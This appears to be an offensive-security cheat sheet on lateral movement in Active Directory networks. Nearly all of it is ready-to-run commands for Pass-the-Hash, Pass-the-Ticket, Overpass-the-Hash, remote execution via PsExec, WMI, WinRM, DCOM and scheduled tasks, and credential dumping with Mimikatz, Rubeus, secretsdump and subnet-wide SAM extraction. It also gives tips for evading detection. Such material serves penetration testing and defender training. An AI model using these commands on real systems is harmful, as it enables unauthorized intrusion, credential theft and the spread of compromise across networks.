Lateral Movement

Move between hosts in an AD environment. PsExec, WMI, WinRM, DCOM, smbexec, atexec, RDP, Pass-the-Hash, Pass-the-Ticket, and Overpass-the-Hash from both Linux and Windows.

Sections Lateral Movement

You have credentials (password, NTLM hash, or Kerberos ticket) and local admin on at least one target. Time to move laterally to other hosts. Each execution method has different OPSEC profiles, port requirements, and detection signatures. Pick the right one for your situation.


Execution Method Comparison

Method Port(s) Requires OPSEC Creates Service Interactive Shell
PsExec 445 Local Admin + Admin$ Low Yes Yes
smbexec 445 Local Admin + C$ Low Yes (per command) Semi-interactive
atexec 445 Local Admin Medium No (uses task scheduler) No (output to file)
WMI 135 + dynamic Local Admin Medium No No (output redirect)
WinRM 5985/5986 Local Admin + WinRM enabled Higher No Yes
DCOM 135 + dynamic Local Admin Higher No No
RDP 3389 RDP access + logon rights Highest No Full GUI

Pass-the-Hash (PtH)

You have an NTLM hash but not the plaintext password. NTLM authentication lets you authenticate with just the hash. This works for SMB, WMI, LDAP, and other NTLM-capable protocols. It does not work for Kerberos-only authentication.

Remote (Linux)

terminal
# NetExec - check where the hash works
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -H a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# PsExec with hash
root@localhost:~# impacket-psexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# WMIExec with hash
root@localhost:~# impacket-wmiexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# smbexec with hash
root@localhost:~# impacket-smbexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# atexec with hash
root@localhost:~# impacket-atexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 "whoami"

# Evil-WinRM with hash
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -H a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# xfreerdp with hash (RDP restricted admin mode)
root@localhost:~# xfreerdp /v:10.10.11.40 /u:Administrator /pth:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /cert-ignore

Windows

powershell
# Mimikatz - inject hash into current session
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /run:powershell.exe" "exit"

# The new PowerShell window now authenticates as Administrator via NTLM
# Use it for any network operations (SMB, WMI, etc.)
Pass-the-Hash for local admin accounts only works if the target has LocalAccountTokenFilterPolicy set to 1 in the registry, or the account is the built-in RID 500 Administrator. By default, non-RID-500 local admin accounts get filtered tokens over the network.

Overpass-the-Hash (Pass-the-Key)

Convert an NTLM hash into a Kerberos TGT. This lets you authenticate via Kerberos using just a hash, which is stealthier than NTLM-based PtH because it generates normal Kerberos traffic.

Remote (Linux)

terminal
# Impacket getTGT - get a TGT from NTLM hash
root@localhost:~# impacket-getTGT corp.local/Administrator -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 -dc-ip 10.10.11.35
root@localhost:~# export KRB5CCNAME=Administrator.ccache

# Now use Kerberos auth for any Impacket tool
root@localhost:~# impacket-psexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-wmiexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-secretsdump corp.local/Administrator@dc01.corp.local -k -no-pass

# getTGT with AES key
root@localhost:~# impacket-getTGT corp.local/Administrator -aesKey 4a3f2b1c5d6e7f8a9b0c1d2e3f4a5b6c... -dc-ip 10.10.11.35

Windows

powershell
# Rubeus - request TGT with NTLM hash
PS C:\> .\Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /ptt

# Rubeus - request TGT with AES256 key (stealthier)
PS C:\> .\Rubeus.exe asktgt /user:Administrator /domain:corp.local /aes256:4a3f2b1c5d6e7f8a9b0c1d2e3f4a5b6c... /ptt /opsec

# Mimikatz overpass-the-hash
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /run:powershell.exe" "exit"
Using AES keys instead of RC4 (NTLM) for Kerberos authentication is less likely to trigger detection. RC4 Kerberos requests are anomalous in environments that support AES. Always prefer AES256 when available.

Pass-the-Ticket (PtT)

You have a Kerberos ticket (.kirbi or .ccache file). Inject it into your session and use it to access resources.

Remote (Linux)

terminal
# Set the ccache file
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache

# Use with any Impacket tool
root@localhost:~# impacket-psexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-wmiexec corp.local/Administrator@ws01.corp.local -k -no-pass
root@localhost:~# impacket-smbclient corp.local/Administrator@ws01.corp.local -k -no-pass

# Evil-WinRM with Kerberos
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
root@localhost:~# evil-winrm -i ws01.corp.local -r corp.local

# Convert .kirbi (Windows format) to .ccache (Linux format)
root@localhost:~# impacket-ticketConverter Administrator.kirbi Administrator.ccache
# And vice versa
root@localhost:~# impacket-ticketConverter Administrator.ccache Administrator.kirbi

Windows

powershell
# Rubeus - inject a .kirbi ticket into the current session
PS C:\> .\Rubeus.exe ptt /ticket:Administrator.kirbi

# Rubeus - inject a Base64-encoded ticket
PS C:\> .\Rubeus.exe ptt /ticket:doIFNjCCBTKgAwIB...

# Mimikatz - inject a ticket
PS C:\> .\mimikatz.exe "kerberos::ptt Administrator.kirbi" "exit"

# Verify the ticket is loaded
PS C:\> klist

# Now access resources using the injected ticket
PS C:\> dir \\ws01.corp.local\C$
PS C:\> Enter-PSSession -ComputerName ws01.corp.local

PsExec

Creates a service on the remote host, uploads a binary, and executes it. Returns a SYSTEM shell. Very reliable, but noisy. Creates Windows event logs for service creation.

Remote (Linux)

terminal
# Impacket PsExec (password)
root@localhost:~# impacket-psexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40

# Impacket PsExec (hash)
root@localhost:~# impacket-psexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# Impacket PsExec (Kerberos)
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
root@localhost:~# impacket-psexec corp.local/Administrator@ws01.corp.local -k -no-pass

# NetExec command execution
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x "whoami"
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -X "Get-Process" --exec-method smbexec

Windows

powershell
# SysInternals PsExec
PS C:\> .\PsExec.exe \\ws01 -u corp\Administrator -p P@ssw0rd123 cmd.exe

# PsExec as SYSTEM
PS C:\> .\PsExec.exe \\ws01 -s cmd.exe

# PsExec using current token (if already injected via PtH)
PS C:\> .\PsExec.exe \\ws01 cmd.exe

WMI Execution

Uses Windows Management Instrumentation over DCOM. Does not create a service or write to the Admin$ share. Output is written to a file on the target and retrieved via SMB.

Remote (Linux)

terminal
# Impacket WMIExec (semi-interactive shell)
root@localhost:~# impacket-wmiexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40

# WMIExec with hash
root@localhost:~# root@localhost:~# impacket-wmiexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# Single command execution
root@localhost:~# impacket-wmiexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40 "whoami"

# NetExec with WMI method
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method wmiexec

Windows

powershell
# wmic (deprecated but still works)
PS C:\> wmic /node:ws01 process call create "cmd.exe /c whoami > C:\Temp\output.txt"

# PowerShell WMI
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\output.txt" -ComputerName ws01

# CIM (modern replacement for WMI)
PS C:\> Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami > C:\Temp\output.txt"} -ComputerName ws01

WinRM (PowerShell Remoting)

Uses HTTP/HTTPS on ports 5985/5986. Provides a full interactive PowerShell session. Requires WinRM to be enabled on the target (enabled by default on servers since 2012).

Remote (Linux)

terminal
# Evil-WinRM (password)
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -p 'P@ssw0rd123'

# Evil-WinRM (hash)
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -H a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# Evil-WinRM (Kerberos)
root@localhost:~# export KRB5CCNAME=/tmp/Administrator.ccache
root@localhost:~# evil-winrm -i ws01.corp.local -r corp.local

# Evil-WinRM with script and binary upload paths
root@localhost:~# evil-winrm -i 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -s /opt/scripts/ -e /opt/binaries/

# NetExec WinRM
root@localhost:~# netexec winrm 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x "whoami"
root@localhost:~# netexec winrm 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -X "Get-Process"

Windows

powershell
# Interactive session
PS C:\> Enter-PSSession -ComputerName ws01

# Interactive session with explicit credentials
PS C:\> $cred = Get-Credential
PS C:\> Enter-PSSession -ComputerName ws01 -Credential $cred

# Remote command execution
PS C:\> Invoke-Command -ComputerName ws01 -ScriptBlock { whoami; hostname }

# Execute against multiple hosts
PS C:\> Invoke-Command -ComputerName ws01,ws02,dc01 -ScriptBlock { whoami; hostname }

# Run a local script on a remote host
PS C:\> Invoke-Command -ComputerName ws01 -FilePath C:\Temp\script.ps1
WinRM generates event IDs 4648, 91, 168 on the source and event ID 4624 (logon type 3) on the target. It is considered more “legitimate” traffic than PsExec in most environments because PowerShell Remoting is a standard admin tool.

DCOM Execution

DCOM (Distributed Component Object Model) objects can be abused for remote code execution. Less commonly monitored than WMI or PsExec.

Remote (Linux)

terminal
# Impacket dcomexec
root@localhost:~# impacket-dcomexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40

# dcomexec with hash
root@localhost:~# impacket-dcomexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

# Specify the DCOM object (MMC20.Application, ShellWindows, ShellBrowserWindow)
root@localhost:~# impacket-dcomexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40 -object MMC20

Windows

powershell
# MMC20.Application DCOM abuse
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "ws01"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami > C:\Temp\output.txt", "7")

# ShellWindows DCOM abuse
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "ws01"))
PS C:\> $com.item().Document.Application.ShellExecute("cmd.exe", "/c whoami > C:\Temp\output.txt", "C:\Windows\System32", $null, 0)

smbexec and atexec

smbexec

Creates a temporary service for each command. Does not upload a binary. Output is written to a file and retrieved.

terminal
root@localhost:~# impacket-smbexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40
root@localhost:~# impacket-smbexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5

atexec

Uses the Windows Task Scheduler for execution. No service creation. Output saved to a file on C$ and retrieved.

terminal
root@localhost:~# impacket-atexec corp.local/Administrator:'P@ssw0rd123'@10.10.11.40 "whoami"
root@localhost:~# impacket-atexec corp.local/Administrator@10.10.11.40 -hashes :a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 "whoami"
atexec is useful when SMB service creation triggers alerts. Scheduled tasks blend in with legitimate Windows management. The downside is that it is not interactive and requires polling for output.

RDP (Remote Desktop)

Full GUI access. Requires RDP to be enabled and the user to be in the “Remote Desktop Users” group or have admin rights.

Remote (Linux)

terminal
# xfreerdp with password
root@localhost:~# xfreerdp /v:10.10.11.40 /u:Administrator /p:'P@ssw0rd123' /cert-ignore /dynamic-resolution

# xfreerdp with hash (Restricted Admin Mode must be enabled)
root@localhost:~# xfreerdp /v:10.10.11.40 /u:Administrator /pth:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /cert-ignore

# rdesktop
root@localhost:~# rdesktop -u Administrator -p 'P@ssw0rd123' 10.10.11.40

# Enable Restricted Admin Mode remotely (for PtH over RDP)
root@localhost:~# netexec smb 10.10.11.40 -u Administrator -p 'P@ssw0rd123' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Windows

powershell
# Standard RDP
PS C:\> mstsc /v:ws01

# Enable RDP remotely via registry
PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0 -ComputerName ws01
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop" -ComputerName ws01

# SharpRDP (headless RDP command execution)
PS C:\> .\SharpRDP.exe computername=ws01 command="cmd.exe /c whoami > C:\Temp\output.txt" username=corp\Administrator password=P@ssw0rd123
RDP PtH requires Restricted Admin Mode to be enabled on the target (DisableRestrictedAdmin set to 0). By default, this is not enabled. If you have remote code execution via another method, you can enable it via registry modification and then RDP in with a hash.

Lateral Movement with NetExec (Mass Execution)

NetExec is built for lateral movement at scale. Spray commands across subnets.

terminal
# Find where you have admin access
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' | grep "Pwn3d!"

# Execute a command on all hosts where you have admin
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" | grep "Pwn3d!"

# Use different execution methods
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method smbexec
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method atexec
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -x "whoami" --exec-method wmiexec

# Execute PowerShell across all targets
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' -X "Get-Process lsass"

# Dump SAM from every host where you have admin
root@localhost:~# netexec smb 10.10.11.0/24 -u Administrator -p 'P@ssw0rd123' --sam